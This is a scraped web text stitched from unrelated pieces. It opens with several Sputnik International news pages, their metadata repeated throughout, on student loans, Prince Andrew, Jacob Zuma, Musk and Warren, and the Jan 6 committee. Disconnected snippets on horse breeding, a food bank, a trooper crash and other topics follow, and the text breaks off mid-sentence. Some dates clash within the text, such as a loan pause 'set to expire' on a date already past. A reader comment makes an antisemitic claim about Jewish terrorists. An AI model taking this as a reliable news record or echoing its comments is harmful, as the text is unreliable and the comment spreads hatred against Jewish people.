International 2021-12-15T02:10+0000 2021-12-15T02:10+0000 2021-12-15T02:05+0000 joe biden pandemic cartoons ted rall student loans us midterm elections covid-19 biden administration /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/0c/0f/1091528895_0:0:1201:676_1920x0_80_0_0_649af5115e28406b854fb047e0da7357.jpg White House Press Secretary Jen Psaki reiterated on Tuesday that student loan borrowers should prepare their purses for future debits, as the US government's temporary pause on federal student loans is set to expire on January 31, 2021. Psaki also delivered a gut punch to those expecting at least $10,000 in loan forgiveness from the Biden administration, telling reporters that such a move would have to work its way through both the Democratic-led House and Senate. "If Congress sends him a bill he's happy to sign it," she said of the $10,000 forgiveness plan. "They haven't sent him a bill on that yet." The decision to resume federal student loan repayments was notably opposed by a group of Democratic senators led by Sen. Raphael Warnock (D-GA), who argued that temporary student loan relief should be extended "through the duration of the public health emergency concerning the" COVID-19 pandemic. Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 joe biden, pandemic, cartoons, ted rall, student loans, us midterm elections, covid-19, biden administration https://sputniknews.com/20211215/prince-andrews-lawyers-claim-royals-accuser-was-of-age-when-purported-intercourse-occurred-1091545577.html Prince Andrews Lawyers Claim Royals Accuser Was of Age When Purported Intercourse Occurred Prince Andrews Lawyers Claim Royals Accuser Was of Age When Purported Intercourse Occurred The second son of Queen Elizabeth has been accused by Virginia Giuffre, one of Epsteins alleged sex slaves of rape. The Duke of York has categorically denied the accusations and said he had never met her. 2021-12-15T13:35+0000 2021-12-15T13:35+0000 2021-12-15T14:03+0000 ghislaine maxwell prince andrew jeffrey epstein rape sexual abuse uk /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/08/08/1083553787_0:161:3069:1887_1920x0_80_0_0_a87f5de43d84dd903b4fe3b0095dae0c.jpg Prince Andrews legal team has asked a US judge to throw out the case against the royal, arguing that the legal mechanism mentioned in the lawsuit is unconstitutional, The Times reported, citing court documents.According to the newspaper, the royals accuser, Virginia Giuffre, filed the case under the New York Child Victims Act, which classifies those under the age of 18 as minors. Mrs Giuffre, who is now 38, has claimed that Andrew sexually abused her in London when she was 17.However, in a letter to the judge, the royals lawyers wrote that the New York Child Victims' Act is "not a reasonable mechanism to address the injustice of child sexual abuse" in the state, as the age of consent in New York is 17.In addition, the dukes legal team stressed that accusers must establish a lack of consent by "implied threat", but there are no third parties that can testify to the alleged abuse.Connection to Jeffrey Epstein and Court SettlementVirginia Giuffre (nee Roberts) is one of the alleged victims of Jeffrey Epstein, who was accused of sexual abuse and rape by dozens of women. Epstein had many acquaintances in high circles - presidents, entrepreneurs, billionaires, celebrities, and royals, including Prince Andrew. Giuffre claims she became acquainted with Epstein at the age of 17 after she was hired as a masseuse by his ex-girlfriend and life companion Ghislaine Maxwell. The mother of three has alleged that Epstein and Maxwell trafficked her to London when she was a minor and forced her to have sex with Prince Andrew, who slept two more times with Virginia without her consent.Prince Andrew has categorically dismissed the accusations, saying he has an alibi for the day the purported sexual intercourse occurred in London and maintained he had never met Giuffre. However, there is at least one photo showing the royal with the girl, and a woman has claimed to have seen the duke dancing with Giuffre at a night club. One of Jeffrey Epsteins former employees also claims to have seen the two together.The royals legal team has attempted to throw out the lawsuit. On Tuesday, they again mentioned the 2009 settlement between Giuffre and Jeffrey Epstein as the reason the case should be dismissed.Back then, Virginia Giuffre sued Jeffrey Epstein and Ghislaine Maxwell for sex trafficking. The case was settled for an undisclosed amount of money. Prince Andrew's lawyers have argued that the settlement protects the royal "from any and all liability" as it apparently made Epstein, his co-conspirators, and friends immune to further lawsuits.Mrs Guiffre's legal team has insisted that the settlement is "irrelevant to the case against Prince Andrew".Judge Loretta Preska, who presides over the case, said that the settlement should be made public on or before 22 December if Epsteins estate has no objection.Prince Andrews trial is set to begin in late 2022.Jeffrey Epstein was found hanged in his prison cell on 10 August 2019, a month after his arrest on charges of running a sex trafficking network of minors. His alleged accomplice Ghislaine Maxwell is now on trial in New York and faces eight charges, including enticing a minor as young as 14 to engage in illegal sex acts. If found guilty, Maxwell, who is 59, may face up to 80 years in prison. She claims she is innocent. Golem So he remembers her now does he? Thought he couldnt "recall" ever meeting her ? 1 Rokenbok While literally 10s of thousands of elite and politicians visited Epsteins house of please I dont really understand why just 2 people, Prince Andrew and Maxwell are taking the fall. 0 5 Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Max Gorbachev Max Gorbachev News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Max Gorbachev ghislaine maxwell, prince andrew, jeffrey epstein, rape, sexual abuse, uk https://sputniknews.com/20211215/south-african-court-orders-ex-president-zuma-to-return-to-prison-after-revoking-his-medical-parole-1091537538.html South African Court Orders Ex-President Zuma to Return to Prison After Revoking His Medical Parole South African Court Orders Ex-President Zuma to Return to Prison After Revoking His Medical Parole A court in South Africa has ordered the country's former President Jacob Zuma to return to prison, ruling that the medical parole he was granted earlier this year, was "unlawful". 2021-12-15T09:22+0000 2021-12-15T09:22+0000 2021-12-15T10:19+0000 africa south africa jacob zuma /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/06/1d/1083264659_0:160:3073:1888_1920x0_80_0_0_6a617ff6691dd944e7248515a0e90799.jpg South Africa's High Court has ordered the country's former President Jacob Zuma to return to prison, ruling that the medical parole he was granted earlier this year, was "unlawful". In addition, the 79-year-old ex-president's three-month absence from prison won't be counted towards his 15-month sentence.Zuma was imprisoned for contempt of court after he failed to show up for trial over alleged acts of corruption committed during his administration. He surrendered himself in July 2020, but the unprecedented sentencing of the former president provoked protests in the country.The ex-president was released on medical parole on 5 September. However, the medical condition that served as grounds for his release remained undisclosed.Zuma, who served as president between 2009 and 2018, faced numerous legal challenges before, during, and after his presidency. While the key racketeering and corruption cases against him were dropped in 2009 after his election, they were reinstated in 2018 once he left office.He is currently facing 16 counts, which include corruption, racketeering, fraud, and money laundering charges. He pleaded not guilty during a trial in May 2021. In addition, the so-called Zondo Commission, established to probe the allegations of corruption and fraud in the South African government, is also carrying out an investigation into his presidency and called Zuma to testify. He, however, failed to do so, prompting his current 15-month sentence for contempt of court. https://sputniknews.com/20210719/stalingrad-season-27-south-african-prosecutor-denounces-zumas-attempt-to-delay-trial-yet-again-1083416525.html Emris Rex He must serve his sentence 0 1 south africa Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Tim Korso https://cdnn1.img.sputniknews.com/img/07e4/0a/02/1080648312_311:168:1773:1631_100x100_80_0_0_5eb98a42f89fd860368dcd2ae2d9e403.jpg Tim Korso https://cdnn1.img.sputniknews.com/img/07e4/0a/02/1080648312_311:168:1773:1631_100x100_80_0_0_5eb98a42f89fd860368dcd2ae2d9e403.jpg News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Tim Korso https://cdnn1.img.sputniknews.com/img/07e4/0a/02/1080648312_311:168:1773:1631_100x100_80_0_0_5eb98a42f89fd860368dcd2ae2d9e403.jpg africa, south africa, jacob zuma https://sputniknews.com/20211215/sushant-singh-rajputs-sister-to-hold-candle-march-in-delhis-jantar-mantar-1091534378.html Sushant Singh Rajput's Sister to Hold Candle March in Delhi's Jantar Mantar Sushant Singh Rajput's Sister to Hold Candle March in Delhi's Jantar Mantar Sushant Singh Rajput's Sister to Hold Candle March in Delhi's Jantar Mantar 2021-12-15T09:29+0000 2021-12-15T09:29+0000 2021-12-15T09:31+0000 suicide march celebrity bollywood conspiracy actor celebrity scandal controversy bollywood dead celebrity /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/107960/90/1079609095_0:0:3072:1728_1920x0_80_0_0_3fe2d99efa86ddf160d948e2464fdb42.jpg The fight for justice for late Bollywood actor Sushant Singh Rajput is set to take centre-stage once again as his sister Priyanka Singh is expected to take part in a candle march on Wednesday evening in a popular protesting area in New Delhi -- Jantar Mantar.Priyanka took to social media and called on her followers to join the peaceful candle march and confessed that losing her brother and later her mother is hard to take even now.Sushant was found hanging from a ceiling fan at his apartment in Mumbai on 14 June 2020.The actor's family has alleged that there was foul play in the untimely death of the 34-year star of films like 'MS Dhoni: The Untold Story' and 'Chhichhore'. His death triggered a huge outpouring of grief on social media, with his fans claiming that Sushant didn't commit suicide, but was murdered. Three top federal agencies of India -- the Central Bureau of Investigation (CBI), Narcotics Control Bureau (NCB), and Enforcement Directorate (ED) -- have probed the case from different angles.Sushant's ex-girlfriend Rhea Chakraborty, along with other accused, were arrested in a drugs case in relation to the actor's death, but were later released on bail due to lack of evidence against them. Last month, the Narcotic Drugs and Psychotropic Substances (NDPS) Court allowed Chakrabortys bank account to defreeze and also released her gadgets that were seized in the investigation into the late actors death case. Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Sangeeta Yadav https://cdnn1.img.sputniknews.com/img/07e4/08/1b/1080292803_0:121:960:1081_100x100_80_0_0_7490b319dab9611e309056b177265184.jpg Sangeeta Yadav https://cdnn1.img.sputniknews.com/img/07e4/08/1b/1080292803_0:121:960:1081_100x100_80_0_0_7490b319dab9611e309056b177265184.jpg News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Sangeeta Yadav https://cdnn1.img.sputniknews.com/img/07e4/08/1b/1080292803_0:121:960:1081_100x100_80_0_0_7490b319dab9611e309056b177265184.jpg suicide, march, celebrity, bollywood, conspiracy, actor, celebrity scandal, controversy, bollywood, dead celebrity, celebrity gossip, india https://sputniknews.com/20211215/the-democracy-summit-excluded-russia-and-china-1091528300.html The Democracy Summit Excluded Russia and China The Democracy Summit Excluded Russia and China On todays episode of The Backstory, host Lee Stranahan and co-host John Kiriakou discussed current events, including Malta approving recreational cannabis... 15.12.2021, Sputnik International 2021-12-15T09:45+0000 2021-12-15T09:45+0000 2021-12-15T12:05+0000 us twitter nyc voting elections wikileaks vaccines the backstory radio /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/0c/0e/1091528274_0:0:1920:1080_1920x0_80_0_0_f92d2eab7e4ffc37239faff025817611.jpg The Democracy Summit Excluded Russia and China On todays episode of The Backstory, host Lee Stranahan and co-host John Kiriakou discussed current events, including Malta approving recreational cannabis use, and Washington, DC suing members of Proud Boys and Oath Keepers in federal court. GUESTDaniel Lazare - Independent Journalist, Author, and Writer | Bipartisan Hate of Julian Assange, Threats to Democracy, and Hillary ClintonCarmine Sabia - Writer and Editor at Large at SabiaReport.com | Liberalism, Joe Manchin, and Future Presidential DebatesIn the first hour, Lee and John spoke with Daniel Lazare about the Democrats, Republicans in charge of elections, and the media attacks on Julian Assange. Daniel discussed the recent statements from Hillary Clinton and Daniel agreed with her analysis on the Republicans hurting democracy in future elections. Daniel spoke about the electoral college and the potential Democrats running for President in 2024.In the second hour, Lee and John spoke with Carmine Sabia about third parties, the Republican party changes, and pro-life Democrats. Carmine spoke about the Democrats' focus on identity politics and the lack of viable third parties in America. Carmine talked about the rise in social media campaigns for politics and the potential for a President to run the campaign solely on social media.We also touch upon Joe Biden's "Democracy Summit" where Russia and China were not on the list of invitees.We'd love to get your feedback at radio@sputniknews.com us nyc Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Lee Stranahan https://cdnn1.img.sputniknews.com/img/07e5/02/13/1082125222_0:0:293:292_100x100_80_0_0_a8bc846f559660e5bf7574f8a9608a1d.png Lee Stranahan https://cdnn1.img.sputniknews.com/img/07e5/02/13/1082125222_0:0:293:292_100x100_80_0_0_a8bc846f559660e5bf7574f8a9608a1d.png News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Lee Stranahan https://cdnn1.img.sputniknews.com/img/07e5/02/13/1082125222_0:0:293:292_100x100_80_0_0_a8bc846f559660e5bf7574f8a9608a1d.png us, twitter, nyc, voting, elections, wikileaks, vaccines, the backstory, , radio https://sputniknews.com/20211215/twitter-on-fire-after-elon-musk-calls-elizabeth-warren-senator-karen-in-spat-over-taxes-1091536215.html Twitter on Fire After Elon Musk Calls Elizabeth Warren 'Senator Karen' in Spat Over Taxes Twitter on Fire After Elon Musk Calls Elizabeth Warren 'Senator Karen' in Spat Over Taxes Elon Musk has had a strained relationship with the Democrats ever since the coronavirus pandemic, when he clashed swords with Californian authorities over safety measures. 2021-12-15T09:36+0000 2021-12-15T09:36+0000 2021-12-15T09:36+0000 joe biden bernie sanders elon musk elizabeth warren tax evasion taxes democrats inequality feud social media /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/0b/1a/1091055440_0:169:2783:1734_1920x0_80_0_0_1a817f2a2f7016f04c926e52285dee09.jpg Elon Musk set Twitter on fire after the tech maverick locked horns with Senator Elizabeth Warren (D-MA).The feud began after the lawmaker suggested that Musk, the world's richest man, lives off society due to the "rigged" tax code of the United States, referring to a report by ProPublica, revealing that several US billionaires, including Amazon co-founder Jeff Bezos, business magnate Warren Buffett, and Musk paid no taxes.The outlet cited a "vast trove of Internal Revenue Service data", which showed that Musk paid no income tax in 2018 with capital losses.The SpaceX and Tesla CEO quickly launched a diatribe against the Democrat. Musk said that he is going to pay more taxes than anyone else in the history of the US, apparently referring to the proposed billionaire tax the Biden administration plans to introduce. According to a forecast by The Washington Post, the tech maverick, whose net worth currently stands at $251 billion, would pay $50 billion in taxes under the new legislation over its first five years.Musk then tweeted "Dont spend it all at once oh wait you did already", apparently referring to the massive spending packages proposed by the Democrats before attacking Warren personally. He first posted a news article accusing the lawmaker of lying about her ancestry, before calling Elizabeth Warren "Senator Karen". Warren, who is white, has for years claimed that she has some Native American ancestry, specifically from the Cherokee tribe. The senator even took a DNA test, which showed that she is mostly European, but strongly "supported the existence of an admixed Native American ancestor" in the range of "6 to 10 generations ago". Her claim has been criticised by lawmakers on both sides of the aisle as well as Native American tribal leaders.Karen is a pejorative slang term used to describe angry middle-aged white women, often racist, who use their privilege to demand their own way. When depicted in memes, Karen asks to speak to the manager or calls police.Elon Musk's feud with Elizabeth Warren made waves on social media.While one side supported the Massachusetts senator.the other side backed Musk.Many deemed that Musk's Karen remark was rude and severely chastised the entrepreneur for it.Other users accused Warren of hypocrisy and said she herself is a parasite.Still others simply enjoyed the moment.This is not the first time that the Tesla CEO has clashed with a Democrat. Last month, Musk snapped at Vermont Senator Bernie Sanders after the latter suggested that billionaires should pay more in taxes. Musk responded to Sanders, who is one of the nation's oldest lawmakers, saying "I keep forgetting that you're still alive". Emris Rex Unlike Elon Musk, Elizabeth "pocahontas" Warren is such a looser 1 Nonyank Elon has never ducked responsibility, he opely makes a game of paying his taxes, his companies regularly borrow money as offered by both US and Chinese Governments then pays the loans back IN FULL years ahead of time he provide many tens of thousands of jobs and he games the system....who doesn't if they can? 1 3 Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Max Gorbachev Max Gorbachev News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Max Gorbachev joe biden, bernie sanders, elon musk, elizabeth warren, tax evasion, taxes, democrats, inequality, feud, social media, billionaires, viral https://sputniknews.com/20211215/us-house-passes-anti-islamophobia-bill-in-wake-of-omar-boebert-rift-1091547393.html US House Passes Anti-Islamophobia Bill In Wake of Omar-Boebert Rift US House Passes Anti-Islamophobia Bill In Wake of Omar-Boebert Rift The legislation was prompted when Republican representative for Colorado Lauren Boebert bragged about her quip that a fellow representative, Democrat Ilhan Omar of Minnesota, could have been a suicide bomber. The remark, however, seems to have caused more outrage than amusement. 2021-12-15T14:42+0000 2021-12-15T14:42+0000 2021-12-15T14:42+0000 us house of representatives us bill islamophobia ilhan omar /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/0c/0f/1091547583_0:0:3072:1728_1920x0_80_0_0_919a3d27516674c4d4d0096f76f257d8.jpg The US House of Representatives rolled out a bill to designate a State Department unit that would fight Islamophobia in the United States and across the world, passing the legislation on Wednesday with a 219-212 party-line vote.House Majority Leader Steny Hamilton Hoyer welcomed the initiative, praising it as a step toward in combating religious bigotry.Chairman of the House Rules Committee, Democrat representative for Massachusetts, James McGovern, on Tuesday introduced the bill and said that surveys show an increase in Islamophobic rhetoric both in America and around the world. What led the House to convene and take action, according to him, was a colleague who had "told a completely fabricated story again and again that implies a Muslim colleague is a terrorist just because they are Muslim."He did not refer to anyone in particular, but the quick move to introduce anti-Islamophobia legislation comes in light of a recent feud sparked between Democrat representative Ilhan Omar and her Republican colleague Lauren Boebert who joked that Omar could be a suicide bomber and called her "jihad squad". Although Boebert apologised to "anyone in the Muslim community I offended", this did not quell the storm.With radio silence from the Republican lawmaker on the new bill and the scandal around her joke, Omar herself was quick to celebrate the passage of the initiative as a "huge milestone for Muslims around the world and a powerful signal that Islamophobia cannot be tolerated anywhere."With House Speaker Nancy Pelosi vowing that the new bill is not an end to the Democrats' responsive actions, the GOP lawmakers cracked down on the new legislation. Republicans said it has been forged too quickly and seem to make a preference for certain religious group.During the debate on the new legislation, GOP representative Scott Perry of Pennsylvania lashed out at Omar, claiming that she was "affiliated" with terrorist organisations - his words swiftly taken down from the protocol, and the House's rules-enforcer prohibiting him from taking the floor for the rest of the night.Perry is not the only one who appears to share sentiments voiced by Boebert rather than those of Omar. When the rift between the two lawmakers unfolded, Boebert found an ally in Marjorie Taylor-Greene - another outstanding Republican lawmaker notorious for her sometimes controversial statements. She lambasted another Republican, Nancy Mace, who defended Omar.Apparently provoked by the GOP's most outspoken members, the Democrats have called on the rival party's leadership to stand up to them when they "cross a line". However, House Minority Leader Kevin McCarthy, Republican representative from California, has only called on Taylor-Greene and Mace to stop their squabble, without commenting much on the issue. Hess Would Boebert say the same about the Many Jews in Congress? There are more Jewish terrorist and suicide bombers than Muslims. In fact, Jewish Israel is committing acts of terrorism on a daily basis. 0 1 Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Daria Bedenko Daria Bedenko News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Daria Bedenko us house of representatives, us, bill, islamophobia, ilhan omar https://sputniknews.com/20211215/whats-behind-house-6-january-select-committees-manhunt-for-meadows-bannon--other-trump-aides-1091546274.html What's Behind House 6 January Select Committee's 'Manhunt' for Meadows, Bannon, & Other Trump Aides? What's Behind House 6 January Select Committee's 'Manhunt' for Meadows, Bannon, & Other Trump Aides? The House Select Committee on the January 6th Attack is seeking to hold ex-White House Chief of Staff Mark Meadows in contempt of Congress following the same measure against ex-White House strategist Steve Bannon. 2021-12-15T14:01+0000 2021-12-15T14:01+0000 2021-12-15T17:08+0000 donald trump world us opinion nancy pelosi mark meadows steve bannon house democrats /html/head/meta[@name='og:title']/@content /html/head/meta[@name='og:description']/@content https://cdnn1.img.sputniknews.com/img/07e5/06/15/1083203294_0:0:3073:1728_1920x0_80_0_0_5a43d8f827ed7ba322eb39f63f56c63c.jpg The House of Representatives on 14 December voted 222-208 to hold former White House Chief of Staff Mark Meadows in contempt of the US Congress. A day earlier the House Select Committee on the January 6th Attack recommended Meadows for prosecution after he refused to testify before the panel. The only two Republicans on the committee's panel - Liz Cheney of Wyoming and Adam Kinzinger of Illinois supported their Democratic peers.Before halting his cooperation with the committee, Meadows turned over a trove of roughly 9,000 documents to the House inquiry, according to The New York Times. For its part, CNN drew attention to the trove having been handed over "without any claim of executive privilege" and contained text messages and emails the former chief of staff was "exchanging with a wide range of individuals" amid the 6 January siege of the Capitol.Executive Privilege Preserves Principle of Separation of PowerLittle argues that along with Steve Bannon and Jeffrey Clark, "Meadows must protect his communications with the Office of the Presidency which are subject to executive privilege". Executive privilege is the power of the president and other officials in the executive branch to withhold certain forms of confidential communication from the courts and the legislative branch.In mid-November, former aide to Donald Trump Steve Bannon surrendered to law enforcement being indicted on two counts of contempt of Congress. Bannon's attorney David Schoen explained to CNN's Brianna Keilar on 16 November why the defendant chose not to appear before the January 6th Committee and not to produce documents. According to Schoen, Bannon asked the committee to allow a representative of a privilege holder to be present and invoke "executive privilege" on a question by question basis. However, the committee rejected his request.Why House Select Committee on 6 January Attack is 'Partisan Stunt'The ongoing investigation by the House Select Committee resembles nothing so much as an effort to crack down on former President Donald Trump's supporters, according to the lawyer.Earlier this year, Senate Republicans blocked the creation of the Democratic-backed 6 January Commission to look into the Capitol siege as a "partisan stunt" that duplicated law enforcement and congressional efforts underway.After that the Democratic Party announced the creation of a House Select Committee to investigate the 6 January riots in DC. However, House Speaker Nancy Pelosi barred Minority Leader Kevin McCarthy's picks for the panel and tapped two Republican representatives known as outspoken critics of Donald Trump and the MAGA movement. In July 2021, the House GOP leader denounced the Democratic-dominated committee's probe as a "sham process"."All we need to know about the legitimacy of the Select Committee to Investigate the January 6th Attack on the United States Capitol are the words of Speaker Nancy Pelosi on 17 February 2011", Little says. "On that day, 100,000 rioters occupied the Wisconsin State Capitol to oppose Republican Governor Scott Walker's bill to end collective bargaining for public workers gutting the power of the unions a reliable Democrat fundraising machine".Pelosi expressed support for the rioters and called the protests "an impressive show of democracy in action", the lawyer notes. According to him, given that she hailed a 100,000 mob back in 2011, "her protest and Articles of Impeachment related to the January 6th events at the Capitol must be seen as purely political and lack credibility".Similarly, the Democrats remained largely silent about the breach of the US Department of the Interior earlier this year by environmental extremists, Little points out. In October 2021, climate change protesters stormed the building of the Department of the Interior and occupied a space inside it for hours. Washington Post reporter Ellie Silverman shared a video of climate rioters climbing into the building despite attempts by police to block the entrance. https://sputniknews.com/20210726/capitol-riot-probe-will-dems-use-benghazi-playbook-against-trump--gop-ahead-of-midterms-1083464226.html https://sputniknews.com/20211122/why-steve-bannon-indictment-can-be-seen-as-attack-on-maga-supporters--us-constitutional-principles-1090907342.html https://sputniknews.com/20211011/glaring-anomalies-why-6-january-insurrection-case-peddled-by-dems-doesnt-hold-water-1089832641.html Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 2021 Ekaterina Blinova Ekaterina Blinova News en_EN Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 1920 1080 true 1920 1440 true 1920 1920 true Sputnik International feedback@sputniknews.com +74956456601 MIA Rosiya Segodnya 252 60 Ekaterina Blinova donald trump, world, us, opinion, nancy pelosi, mark meadows, steve bannon, house democrats Hanover Shoe Farms announced on Wednesday, Dec. 15 that the initial book for 2021 Hambletonian winner Captain Corey is now full and closed. All available shares in this stallion have now been sold and his syndicate includes the most prominent breeders in both North America and Europe. In addition, there are very few breedings left to leading pacing stallion Captaintreacherous, second-year phenoms Papi Rob Hanover and Tall Dark Stranger, and trotting sensation Greenshoe. The books for all four of these stallions are expected to close imminently. Breeders with quality mares that would like to secure a breeding to Captaintreacherous, Papi Rob Hanover, Tall Dark Stranger or Greenshoe are encouraged to submit their contracts quickly to avoid being shut out. Please call the office at 717-637-8931 for a breeding contract or submit your mare online at hanoverpa.com. (With files from Hanover Shoe Farms) Winbak Farm reports retired broodmare Wiggle Hanover, p, 3, 1:59.3h; 1:52.4 ($61,961), has passed away. Wiggle Hanover had recently joined the Winbak Farm retired mare band after being a great producer for the farm. She had produced nine winners from 10 foals. She was best known for being the dam of Mr Wiggles, p, 2, 1:53.3f; 3, 1:49.1f ($1,195,099). His many stakes wins included the Hoosier Cup and Breeders Crown elimination (he was second in the final). Mr Wiggles has been a successful sire, including being the sire of the U.S. Horse of the Year Wiggle It Jiggleit, p, 2, 1:51.2f; 3, 1:47.4; 4, 1:47.2 ($4,091,164). She was also the dam of 38-time winner Winbak Prince, p, 2, 1:55.2s; 3, 1:53.4s; 1:52f ($227,956). Wiggle Hanover will be missed. Her daughter, Winbak Wiggle, will continue her maternal line in the Winbak Farm broodmare band. Please join Standardbred Canada in offering condolences to the connections of Wiggle Hanover. (With files from Winbak Farm) There have been so many negative aspects of the COVID-19 pandemic, its encouraging to hear about a positive one: the Fredericksburg Regional Food Bank continues to get a lot of food donations as a result of the crisis and is sharing the bounty in a special giveaway. Because it had more frozen birds for Thanksgiving than it could give away, the Food Bank is offering Turkey and Toys during a special drive-thru distribution on Saturday at the Fredericksburg Expo and Conference Center. From 10 a.m. to 2 p.m., volunteers will load up the trunks with holiday goodies for at least 500 families. No registration or income documentation is required for the event, designed for those who need holiday assistance. Boxes of food, which include a turkey breast or whole turkey, along with milk, produce, chicken and cereal, will be distributed as long as supplies last, according to the Food Bank. The distribution also includes a limited supply of toys. The facility initially asked for volunteers to help with the distribution, but by this week, all slots were filled. United Healthcare, which helped support the event financially, also provided some manpower and others have signed up to help, said Dan Maher, president and CEO of the Food Bank. The only other split decision of the night came after some discussion on the issue of the termination of an easement from the 1930s in which the city allowed for the Adm. Dewey Post Number 1681, Veterans of Foreign Wars to get its first 160,000 gallons of water of the year for free. One of the main reasons for the termination, Heath said, was that city staff wasnt aware of it until recently and the city cant afford continuing it. In (1939), when the agreement was originally done, water was probably pennies that really didnt cost the city much to produce water, he said, but now, you know, in 2021 youre looking at somewhere between 75 cents and a dollar to produce 1000 gallons of water. We do have to operate our system and there is a cost to operating that system. City attorney Jim Ellison added that technically and legally, the city isnt supposed to be offering free services anyway. Technically, under our constitution, the city is not allowed to give away services to one entity over another, and so thats one of the other thoughts that went in to this agreement, he said. However, councilmember Ben Backus didnt really like the idea of taking away a discount as large as that from the veterans. WASHINGTON (AP) The District of Columbia has filed a civil lawsuit seeking harsh financial penalties against far-right groups Proud Boys and Oath Keepers over their role in the Jan. 6 insurrection at the Capitol by supporters of former President Donald Trump. The suit, filed Tuesday in federal court, also names dozens of the groups' senior members, many of whom already face criminal charges for taking part in the violent attack on the Capitol building while Congress was meeting to certify the 2020 election results. Karl Racine, Washington's attorney general, said the lawsuit seeks compensation for damages to the District of Columbia and intends to inflict maximum financial damage on the groups responsible. Out intent is to hold these violent mobsters and violent hate groups accountable and to get every penny of damage we can, Racine said. If it so happens that we bankrupt them, then that's a good day. There was no immediate response to emails sent to the groups seeking comment. A pedestrian and the Nebraska State Trooper involved in a fatal collision near Walthill in October have both been identified. Brad Elsea was driving a Patrol-owned Chevrolet Equinox south on U.S. 77 in Thurston County just after 5 a.m. on Oct. 21 when the vehicle struck Sierra J. Stricker, a 24-year-old Walthill woman, according to the incident's crash report. Elsea, who wasn't identified in the State Patrol's initial news release detailing the crash in October, immediately called for paramedics. But Stricker, who had left her home on the east side of the highway and was crossing U.S. 77 when she was hit, was pronounced dead at the scene, according to the release. We are heartbroken at this tragic incident, State Patrol Col. John Bolduc said in the release in October. Our condolences are with the family of the pedestrian and our thoughts are also with our investigator who was involved in this unfortunate situation. The crash report, filed by Thurston County Sheriff's Investigator Derek Herron, indicates Stricker had nearly crossed the road by the time she was struck, colliding with the center and left portions of the SUV's front bumper. Ronan was moved to the North Carolina Zoo based on a recommendation by the Association of Zoos and Aquariums (AZA). We are so excited to welcome Ronan to the Zoo, Curator of Mammals Jay Stutz said in the news release. He is settling in well and already building meaningful relationships with his keepers. We all look forward to the experiences that he will share with our guests and staff. Zookeepers at the Reid Park Zoo describe Ronan as a mellow bear. Stephanie Norton, Animal Welfare Specialist, said in the release: "Ronan has always been a calm and easygoing bear who quickly became a favorite with all of the keepers who worked with him. He has grown into an adult bear at Reid Park Zoo and will definitely be missed, but everyone here is so excited for his chance to continue to grow and experience new things at his new home." Male grizzlies in the wild live about 22 years and weigh 400-700 pounds. They can run at speeds of 30 mph for short distances. Once prevalent throughout western North America, there are currently about 55,000 wild grizzly bears on the continent, most of which live in Alaska. Approximately 1,500 grizzlies inhabit the lower 48 states of the U.S. For more information about nuisance bear issues, visit https://bearwise.org/. PHOENIX (AP) Attorneys for a Mexican woman who was shot in the head by a Border Patrol agent and survived announced Wednesday that they filed a claim against the U.S government as a precursor to a federal lawsuit. The claim filed with the Border Patrol by Marisol Garcia Alcantara, who had arrived in the U.S. shortly before the shooting over the summer in Nogales, Arizona, is necessary before a civil action is filed next year with the U.S. District Court in Tucson. I want to know why, why did they do that and why me? Garcia, 37, said in an interview last week from her family home outside Mexico City. I am looking for justice. I want an apology from that person and help for medical care and medicine because I cant work," she said. The bullet entered Garcia's head above her left eye and fragments still remain in her brain, putting her at risk of seizures. She said that a half-year later she still suffers from loss of memory, dizzy spells and headaches. Such a committee could determine the price tags for ideas to modernize the system. Issues with the administration of Childrens Services Act funds, which require 